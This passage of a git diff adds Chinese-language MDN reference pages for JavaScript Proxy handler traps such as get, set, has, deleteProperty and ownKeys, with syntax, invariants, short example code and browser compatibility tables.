+    console.log(descriptor);
+    return Reflect.defineProperty(target, prop, descriptor);
+  }
+});
+
+Object.defineProperty(p, 'name', {
+  value: 'proxy',
+  type: 'custom'
+});  // { value: 'proxy' }
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.defineProperty()")}}
  • +
  • {{jsxref("Reflect.defineProperty()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html new file mode 100644 index 0000000000..6cb4255755 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html @@ -0,0 +1,149 @@ +--- +title: handler.deleteProperty() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +--- +
{{JSRef}}
+ +

handler.deleteProperty() 方法用于拦截对对象属性的 {{jsxref("Operators/delete", "delete")}} 操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  deleteProperty: function(target, property) {
+  }
+});
+
+ +

参数

+ +

deleteProperty 方法将会接受以下参数。 this 被绑定在 handler上。

+ +
+
target
+
目标对象。
+
property
+
待删除的属性名。
+
+ +

返回值

+ +

deleteProperty 必须返回一个 {{jsxref("Boolean")}} 类型的值,表示了该属性是否被成功删除。

+ +

描述

+ +

handler.deleteProperty() 方法可以拦截 {{jsxref("Operators/delete", "delete")}} 操作。

+ +

拦截

+ +

该方法会拦截以下操作:

+ +
    +
  • 删除属性: delete proxy[foo]delete proxy.foo
  • +
  • {{jsxref("Reflect.deleteProperty()")}}
  • +
+ +

不变量

+ +

如果违背了以下不变量,proxy 将会抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象的属性是不可配置的,那么该属性不能被删除。
  • +
+ +

示例

+ +

以下代码演示了对 {{jsxref("Operators/delete", "delete")}} 操作的拦截。

+ +
var p = new Proxy({}, {
+  deleteProperty: function(target, prop) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+delete p.a; // "called: a"
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/delete", "delete")}} 操作符
  • +
  • {{jsxref("Reflect.deleteProperty()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html new file mode 100644 index 0000000000..14a350436a --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -0,0 +1,177 @@ +--- +title: handler.get() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +--- +
{{JSRef}}
+ +

handler.get() 方法用于拦截对象的读取属性操作。

+ +

语法

+ +
var p = new Proxy(target, {
+  get: function(target, property, receiver) {
+  }
+});
+
+ +

参数

+ +

以下是传递给get方法的参数,this上下文绑定在handler对象上.

+ +
+
target
+
目标对象。
+
property
+
被获取的属性名。
+
receiver
+
Proxy或者继承Proxy的对象
+
+ +

返回值

+ +

get方法可以返回任何值。

+ +

描述

+ +

handler.get 方法用于拦截对象的读取属性操作。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • 访问属性: proxy[foo]和 proxy.bar
  • +
  • 访问原型链上的属性: Object.create(proxy)[foo]
  • +
  • {{jsxref("Reflect.get()")}}
  • +
+ +

约束

+ +

如果违背了以下的约束,proxy会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同。
  • +
  • 如果要访问的目标属性没有配置访问方法,即get方法是undefined的,则返回值必须为undefined。
  • +
+ +

示例

+ +

以下代码演示如何拦截属性值的读取操作。

+ +
var p = new Proxy({}, {
+  get: function(target, prop, receiver) {
+    console.log("called: " + prop);
+    return 10;
+  }
+});
+
+console.log(p.a); // "called: a"
+                  // 10
+
+ +

以下代码演示违反约束的情况。

+ +
var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: false,
+  value: 10,
+  writable: false
+});
+
+var p = new Proxy(obj, {
+  get: function(target, prop) {
+    return 20;
+  }
+});
+
+p.a; //会抛出TypeError
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Reflect.get()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..470b2c6ad9 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html @@ -0,0 +1,168 @@ +--- +title: handler.getOwnPropertyDescriptor() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}}  的钩子。

+ +

语法

+ +
var p = new Proxy(target, {
+  getOwnPropertyDescriptor: function(target, prop) {
+  }
+});
+
+ +

参数

+ +

下列参数会被传入 getOwnPropertyDescriptor 方法中。这是绑定到handler上。 

+ +
+
target
+
目标对象。
+
prop
+
返回属性名称的描述。
+
+ +

返回值

+ +

getOwnPropertyDescriptor 方法必须返回一个 object 或 undefined

+ +

描述

+ +

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的陷阱。

+ +

拦截

+ +

这个陷阱可以拦截这些操作:

+ +
    +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • +
+ +

不变量

+ +

如果下列不变量被违反,代理将抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • getOwnPropertyDescriptor 必须返回一个 object 或 undefined
  • +
  • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在。
  • +
  • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在。
  • +
  • 如果属性不存在作为目标对象的属性,并且目标对象不可扩展,则不能将其报告为存在。
  • +
  • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在。
  • +
  • Object.getOwnPropertyDescriptor(target)的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常。
  • +
+ +

示例

+ +

以下是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的代码陷阱:

+ +
var p = new Proxy({ a: 20}, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    console.log('called: ' + prop);
+    return { configurable: true, enumerable: true, value: 10 };
+  }
+});
+
+console.log(Object.getOwnPropertyDescriptor(p, 'a').value); // "called: a"
+                                                            // 10
+
+ +

以下代码则违反了不变量。

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  getOwnPropertyDescriptor: function(target, prop) {
+    return undefined;
+  }
+});
+
+Object.getOwnPropertyDescriptor(p, 'a'); // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html new file mode 100644 index 0000000000..215d2d9646 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html @@ -0,0 +1,141 @@ +--- +title: handler.getPrototypeOf() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Proxy + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +--- +
{{JSRef("Global_Objects", "Proxy")}}
+ +

handler.getPrototypeOf() 是一个代理(Proxy)方法,当读取代理对象的原型时,该方法就会被调用。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
+ + + +

语法

+ +
const p = new Proxy(obj, {
+  getPrototypeOf(target) {
+  ...
+  }
+});
+
+ +

参数

+ +

getPrototypeOf 方法被调用时,this 指向的是它所属的处理器对象。

+ +
+
target
+
被代理的目标对象。
+
+ +

返回值

+ +

getPrototypeOf 方法的返回值必须是一个对象或者 null

+ +

描述

+ +

在 JavaScript 中,下面这五种操作(方法/属性/运算符)可以触发 JS 引擎读取一个对象的原型,也就是可以触发 getPrototypeOf() 代理方法的运行:

+ +
    +
  • {{jsxref("Object.getPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • +
  • {{jsxref("Object/proto", "__proto__")}}
  • +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
  • +
  • {{jsxref("Operators/instanceof", "instanceof")}}
  • +
+ +

如果遇到了下面两种情况,JS 引擎会抛出 {{jsxref("TypeError")}} 异常:

+ +
    +
  • getPrototypeOf() 方法返回的不是对象也不是 null。
  • +
  • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型。
  • +
+ +

示例

+ +

基本用法

+ +
var obj = {};
+var proto = {};
+var handler = {
+    getPrototypeOf(target) {
+        console.log(target === obj);   // true
+        console.log(this === handler); // true
+        return proto;
+    }
+};
+
+var p = new Proxy(obj, handler);
+console.log(Object.getPrototypeOf(p) === proto);    // true
+
+ +

5 种触发 getPrototypeOf 代理方法的方式

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return Array.prototype;
+    }
+});
+console.log(
+    Object.getPrototypeOf(p) === Array.prototype,  // true
+    Reflect.getPrototypeOf(p) === Array.prototype, // true
+    p.__proto__ === Array.prototype,               // true
+    Array.prototype.isPrototypeOf(p),              // true
+    p instanceof Array                             // true
+);
+
+ +

两种情况下的异常

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return "foo";
+    }
+});
+Object.getPrototypeOf(p); // TypeError: "foo" is not an object or null
+
+var obj = Object.preventExtensions({});
+var p = new Proxy(obj, {
+    getPrototypeOf(target) {
+        return {};
+    }
+});
+Object.getPrototypeOf(p); // TypeError: expected same prototype value
+
+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

+ +

参见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getPrototypeOf()")}}
  • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html new file mode 100644 index 0000000000..fead0846ff --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html @@ -0,0 +1,176 @@ +--- +title: handler.has() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +--- +
{{JSRef}}
+ +

 handler.has() 方法是针对 {{jsxref("Operators/in", "in")}} 操作符的代理方法。

+ + + + + +

{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}

+ + + + + +

语法

+ +
var p = new Proxy(target, {
+  has: function(target, prop) {
+  }
+});
+
+ +

参数

+ +

下面是传递给 has 方法的参数. this is bound to the handler.

+ +
+
target
+
目标对象.
+
prop
+
需要检查是否存在的属性.
+
+ +

返回值

+ +

has 方法返回一个 boolean 属性的值.

+ +

描述

+ +

handler.has 方法可以看作是针对 {{jsxref("Operators/in", "in")}} 操作的钩子.

+ +

拦截

+ +

这个钩子可以拦截下面这些操作:

+ +
    +
  • 属性查询: foo in proxy
  • +
  • 继承属性查询: foo in Object.create(proxy)
  • +
  • with 检查: with(proxy) { (foo); }
  • +
  • {{jsxref("Reflect.has()")}}
  • +
+ +

约束

+ +

如果违反了下面这些规则,  proxy 将会抛出 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象的某一属性本身不可被配置,则该属性不能够被代理隐藏.
  • +
  • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏
  • +
+ +

示例

+ +

下面的代码拦截了 {{jsxref("Operators/in", "in")}} 操作符.

+ +
var p = new Proxy({}, {
+  has: function(target, prop) {
+    console.log('called: ' + prop);
+    return true;
+  }
+});
+
+console.log('a' in p); // "called: a"
+                       // true
+
+ +

下面的代码违反了约束.

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  has: function(target, prop) {
+    return false;
+  }
+});
+
+'a' in p; // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-hasproperty-p', '[[HasProperty]]')}}{{Spec2('ESDraft')}}
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

其他

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Operators/in", "in")}} operator
  • +
  • {{jsxref("Reflect.has()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html new file mode 100644 index 0000000000..7be418197f --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html @@ -0,0 +1,123 @@ +--- +title: handler.isExtensible() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +--- +
{{JSRef}}
+handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
+ +
+

{{EmbedInteractiveExample("pages/js/proxyhandler-isextensible.html", "taller")}}

+
+ +

语法

+ +
var p = new Proxy(target, {
+  isExtensible: function(target) {
+  }
+});
+
+ +

参数

+ +

下列参数将会被传递给 isExtensible方法。 this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
+ +

返回值

+ +

isExtensible方法必须返回一个 Boolean值或可转换成Boolean的值。

+ +

描述

+ +

handler.isExtensible()用于拦截对对象的Object.isExtensible()。

+ +

拦截

+ +

该方法会拦截目标对象的以下操作:

+ +
    +
  • {{jsxref("Object.isExtensible()")}}
  • +
  • {{jsxref("Reflect.isExtensible()")}}
  • +
+ +

约束

+ +

如果违背了以下的约束,proxy会抛出 TypeError:

+ +
    +
  • Object.isExtensible(proxy) 必须同Object.isExtensible(target)返回相同值。也就是必须返回true或者为true的值,返回false和为false的值都会报错。
  • +
+ +

示例

+ +

以下代码演示{{jsxref("Object.isExtensible()")}}.

+ +
var p = new Proxy({}, {
+  isExtensible: function(target) {
+    console.log('called');
+    return true;//也可以return 1;等表示为true的值
+  }
+});
+
+console.log(Object.isExtensible(p)); // "called"
+                                     // true
+
+ +

以下代码演示违反约束的情况。

+ +
var p = new Proxy({}, {
+  isExtensible: function(target) {
+    return false;//return 0;return NaN等都会报错
+  }
+});
+
+Object.isExtensible(p); // TypeError is thrown
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-isextensible', '[[IsExtensible]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.isExtensible")}}

+
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.isExtensible()")}}
  • +
  • {{jsxref("Reflect.isExtensible()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html new file mode 100644 index 0000000000..956b908375 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html @@ -0,0 +1,193 @@ +--- +title: handler.ownKeys() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +--- +
{{JSRef}}
+ +

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

+ + + +

{{EmbedInteractiveExample("pages/js/proxyhandler-ownkeys.html", "taller")}}

+ + + +

语法

+ +
var p = new Proxy(target, {
+  ownKeys: function(target) {
+  }
+});
+
+ +

参数

+ +

下面的参数被传递给ownKeys。this被绑定在handler上。

+ +
+
target
+
目标对象.
+
+ +

返回值

+ +

ownKeys 方法必须返回一个可枚举对象.

+ +

描述

+ +

handler.ownKeys() 方法用于拦截 {{jsxref("Reflect.ownKeys()")}}.

+ +

拦截

+ +

该拦截器可以拦截以下操作::

+ +
    +
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • +
  • {{jsxref("Object.getOwnPropertySymbols()")}}
  • +
  • {{jsxref("Object.keys()")}}
  • +
  • {{jsxref("Reflect.ownKeys()")}}
  • +
+ +

约束

+ +

如果违反了下面的约束,proxy将抛出错误 {{jsxref("TypeError")}}:

+ +
    +
  • ownKeys 的结果必须是一个数组.
  • +
  • 数组的元素类型要么是一个 {{jsxref("String")}} ,要么是一个 {{jsxref("Symbol")}}.
  • +
  • 结果列表必须包含目标对象的所有不可配置(non-configurable )、自有(own)属性的key.
  • +
  • 如果目标对象不可扩展,那么结果列表必须包含目标对象的所有自有(own)属性的key,不能有其它值.
  • +
+ +

示例

+ +

下面的代码拦截 {{jsxref("Object.getOwnPropertyNames()")}}.

+ +
var p = new Proxy({}, {
+  ownKeys: function(target) {
+    console.log('called');
+    return ['a', 'b', 'c'];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p)); // "called"
+                                            // [ 'a', 'b', 'c' ]
+ +

下面的代码违反了约定

+ +
var obj = {};
+Object.defineProperty(obj, 'a', {
+  configurable: false,
+  enumerable: true,
+  value: 10 }
+);
+
+var p = new Proxy(obj, {
+  ownKeys: function(target) {
+    return [123, 12.5, true, false, undefined, null, {}, []];
+  }
+});
+
+console.log(Object.getOwnPropertyNames(p));
+
+// TypeError: proxy [[OwnPropertyKeys]] 必须返回一个数组
+// 数组元素类型只能是String或Symbol
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys', '[[OwnPropertyKeys]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

兼容性注意事项

+ +

Firefox火狐

+ +
    +
  • 在Gecko 42 {{geckoRelease(42)}}版本中, ownKey 的实施已经更新了,为了反映最终的ES5标准 (see {{bug(1049662)}}): + +
      +
    • 现在需要检查结果是不是数组以及数组元素类型是不是string或symbol.
    • +
    • 枚举重复的自有的属性名称不再失败.
    • +
    +
  • +
+ +

另见

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
  • +
  • {{jsxref("Reflect.ownKeys()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html new file mode 100644 index 0000000000..dd6823c9dd --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html @@ -0,0 +1,120 @@ +--- +title: handler.preventExtensions() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions +tags: + - Proxy 代理 拦截 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +--- +
{{JSRef}}
+ +

handler.preventExtensions() 方法用于设置对{{jsxref("Object.preventExtensions()")}}的拦截

+ +

{{EmbedInteractiveExample("pages/js/proxyhandler-preventextensions.html", "taller")}}

+ +

语法

+ +
var p = new Proxy(target, {
+  preventExtensions: function(target) {
+  }
+});
+
+ +

参数

+ +

以下参数传递给 preventExtensions 方法. 它会绑定到这个handler.

+ +
+
target
+
所要拦截的目标对象.
+
+ +

返回值

+ +

preventExtensions 方法返回一个布尔值.

+ +

描述

+ +

handler.preventExtensions() 拦截 {{jsxref("Object.preventExtensions()")}}返回一个布尔值.

+ +

拦截

+ +

这个trap可以拦截这些操作:

+ +
    +
  • {{jsxref("Object.preventExtensions()")}}
  • +
  • {{jsxref("Reflect.preventExtensions()")}}
  • +
+ +

约束

+ +

如果违反了下列规则, proxy则会抛出一个 {{jsxref("TypeError")}}:

+ +
    +
  • 如果目标对象是可扩展的,那么只能返回 false
  • +
+ +

示例

+ +

以下代码演示了如何拦截{{jsxref("Object.preventExtensions()")}}。

+ +
var p = new Proxy({}, {
+  preventExtensions: function(target) {
+    console.log('called');
+    Object.preventExtensions(target);
+    return true;
+  }
+});
+
+console.log(Object.preventExtensions(p)); // "called"
+                                          // false
+
+ +

以下代码违反了约束.

+ +
var p = new Proxy({}, {
+  preventExtensions: function(target) {
+    return true;
+  }
+});
+
+Object.preventExtensions(p); // 抛出类型错误
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-preventextensions', '[[PreventExtensions]]')}}{{Spec2('ESDraft')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.preventExtensions")}}

+
+ +

参考

+ +
    +
  • {{jsxref("Proxy")}}
  • +
  • {{jsxref("Proxy.handler", "handler")}}
  • +
  • {{jsxref("Object.preventExtensions()")}}
  • +
  • {{jsxref("Reflect.preventExtensions()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html new file mode 100644 index 0000000000..c66481647a --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -0,0 +1,125 @@ +--- +title: handler.set() +slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set +tags: + - ECMAScript6 + - JavaScript + - Method + - Proxy + - Proxy拦截 +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +--- +
{{JSRef}}
+ +

handler.set() 方法是设置属性值操作的捕获器。

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-set.html", "taller")}}
+ + + +

语法

+ +
const p = new Proxy(target, {
+  set: function(target, property, value, receiver) {
+  }
+});
+
+ +

参数

+ +

以下是传递给 set() 方法的参数。this 绑定在 handler 对象上。

+ +
+
target
+
目标对象。
+
property
+
将被设置的属性名或 {{jsxref("Symbol")}}。
+
value
+
新属性值。
+
receiver
+
最初被调用的对象。通常是 proxy 本身,但 handler 的 set 方法也有可能在原型链上,或以其他方式被间接地调用(因此不一定是 proxy 本身)。 +
+

